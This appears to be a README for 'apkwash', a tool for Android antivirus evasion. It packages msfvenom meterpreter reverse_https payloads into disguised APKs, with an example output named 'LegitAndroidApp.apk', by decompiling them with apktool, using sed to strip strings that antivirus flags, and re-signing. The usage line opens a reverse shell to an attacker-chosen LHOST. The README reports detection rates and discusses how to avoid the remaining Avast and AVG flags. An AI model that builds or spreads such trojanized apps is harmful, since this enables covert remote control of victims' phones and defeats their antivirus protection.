Awesome

apkwash

Android APK Antivirus evasion for msfvenom generated payloads. Tested on Kali linux rolling. Setup: apt-get update && apt-get dist-upgrade chmod +x apkwash mv apkwash /usr/local/bin/. On first run: -Downloads and places apktool.jar in the user's /usr/local/bin directory -Generates debug keystore for signing. Places it in ~/.android/ Usage Example: apkwash -p android/meterpreter/reverse_https LHOST=<IP> LPORT=<PORT> -o LegitAndroidApp.apk Output: <LegitAndroidApp>.apk & <LegitAndroidApp>.listener Default values: payload=android/meterpreter/reverse_https LHOST=<eth0 IP address> LPORT=443 output=AndroidService.apk Options -p | --payload <payload> This sets the payload to be generated by msfvenom. -o | --output <outfile.apk> This sets the name of the APK created as well as the output apk file. -x | --original <infile.apk> Input APK to inject the payload into (later update). -g | --generate Generate a payload using defaults -n | --newkey Generate a new debug key before signing -v | --verbose Don't mask output of commands -d | --debug Leaves the /tmp/payload files in place for review -h | --help Help information Antivirus detection: 2/35 on nodistribute - 2Aug17 Will be updating soon to cover these two flags. FLAGGED BY AVAST! APK:CloudRep[Susp] is the report for the suspicious app on Avast. Per Avast: "the APK:CloudRep [Susp] is a warning-like message for applications that are very new/rare/previously unseen in our userbase." Based on this alone it doesn't appear we can modify anything to avoid being flagged. It allows the user to accept the risks, or uninstall the app. Modifiations: Feel free to open the script and make improvements. This script basically utilizes APKTool to open the package, uses sed to replace strings that flag AV, recompiles, then signs. Files: /tmp/payload (Main files to review: AndroidManifest.xml and the smali files) Debugging Run with '-d' and -'v' to display as much output along with not removing the /tmp/payload files. If you are seeing other "Payload".smali files in /tmp/payload/smali/com/var1/var2/ then be sure you have an updated system (apt-get update && apt-get dist-upgrade. I have found an older msfvenom version output a different payload that will be flagged by AVG (1/35 on nodistribute). Just making sure you are completely updated should resolve this.